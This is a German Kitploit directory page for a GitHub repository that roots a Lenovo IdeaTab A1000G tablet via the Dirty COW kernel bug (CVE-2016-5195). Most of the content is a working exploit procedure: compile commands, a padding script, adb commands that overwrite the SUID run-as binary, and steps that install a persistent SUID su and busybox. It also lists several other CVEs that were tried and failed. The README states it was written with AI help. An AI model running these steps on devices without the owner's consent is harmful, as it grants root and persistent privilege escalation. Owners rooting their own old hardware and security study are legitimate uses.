Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
lenovo-a1000g-mt8317-A412_01_09_130907-kernel-3.4.0-root-cve-2016-5195 — [KI-gestützte] Root-Methode für Lenovo IdeaTab A1000G (MT8317, Kernel 3.4.0, Android 4.1) über CVE-2016-5195 (Dirty COW) | Kitploit
Tools/GitHubGitHub/voidgguy/lenovo-a1000g-mt8317-a412_01_09_130907-kernel-3.4.0-root-cve-2016-5195
Android-SicherheitPrivilege EscalationPersistenzmechanismenExploitationPost-ExploitationMobile SicherheitBinary-Exploitation
GitHubvoidgguy/lenovo-a1000g-mt8317-a412_01_09_130907-kernel-3.4.0-root-cve-2016-5195

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

lenovo-a1000g-mt8317-A412_01_09_130907-kernel-3.4.0-root-cve-2016-5195

[KI-gestützte] Root-Methode für Lenovo IdeaTab A1000G (MT8317, Kernel 3.4.0, Android 4.1) über CVE-2016-5195 (Dirty COW)

Repository anzeigen
19vor 2 MonatenNoch nicht geprüft

Lenovo IdeaTab A1000G — Root

Hinweis: Diese Dokumentation und der Exploit-Code wurden mit KI-Unterstützung (Kiro) erstellt. Vor der Verwendung verifizieren — KI kann und macht Fehler.

Gerät

FeldWert
ModellLenovo IdeaTab A1000G
SoCMediaTek MT8317 (= MT6517)
CPUDual-core Cortex-A9 @ 1.2GHz
KernelLinux 3.4.0
BuildA1000G_A412_01_09_130907_2G
Android4.1.2 (Jelly Bean)

Voraussetzungen

  • USB-Debugging aktiviert
  • ADB verbunden
  • Android NDK r28+ unter ~/Android/Sdk/ndk/
  • busybox-armv7l statische Binärdatei (busybox.net/downloads/binaries/1.21.1/)

Exploit — CVE-2016-5195 (Dirty COW)

Race Condition im mmap/write-Pfad des Kernels. Betrifft Kernel 2.6.22–4.8.3. Ziel: /system/bin/run-as (SUID-Root, 9448 Bytes).

1. Kompilieren

NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang

# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
    -UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
    dcow_main.c dirtycow_android.c

# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c

2. su auf Zielgröße auffüllen (9448 Bytes)

with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)

3. Ausführen

adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!

4. su dauerhaft installieren

# Enter root shell first
adb shell /system/bin/run-as

# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su

5. busybox installieren (optional)

# From PC:
adb push busybox-armv7l /data/local/tmp/busybox

# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/

Verwendung

adb shell
/system/bin/run-as   # drops to root shell (#)
id                   # uid=0(root)

adb shell /system/bin/su -c cmd funktioniert NICHT — ADB hebt setuid auf. Zuerst muss eine interaktive Shell geöffnet werden.

Nach dem Rooten

  • /system/bin/run-as → überschrieben (ursprüngliche run-as-Funktionalität defekt)
  • /system/bin/su → dauerhafte SUID-su-Binärdatei
  • /system/bin/busybox → busybox 1.21.1

Fehlgeschlagene Versuche

MethodeGrund
CVE-2013-1763 sock_diagNicht in den Kernel einkompiliert
CVE-2013-6282 get_user/put_userldrt/strt auf Cortex-A9 blockiert
CVE-2014-3153 TowelrootKernel-Panic — sendmmsg-iovstack-Offset für MTK falsch
Framaroot AdbActivityNullPointerException, inkompatibel
/proc/self/mem overwriteKernel-Adressen aus dem Userspace nicht zugänglich

Dateien

.
├── README.md
├── root.sh              # automated root script
├── dirtycow_android.c   # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c          # main() wrapper
└── su2_src.c            # su binary source

Vorkompilierte Binärdateien sind nicht enthalten — aus dem Quellcode mit den obigen Schritten kompilieren.

Referenzen

  • CVE-2016-5195-Quellcode: Arinerron/CVE-2016-5195
  • Firmware-ROM (anderer Build, nur für die Extraktion von Kernel-Symbolen verwendet): Lenovo_A1000G_MT6577_01_24_130329 — Die Symbole aus diesem ROM funktionieren mit Build A412_01_09_130907, da beide dasselbe virtuelle Kernel-Layout verwenden.
Tool herunterladen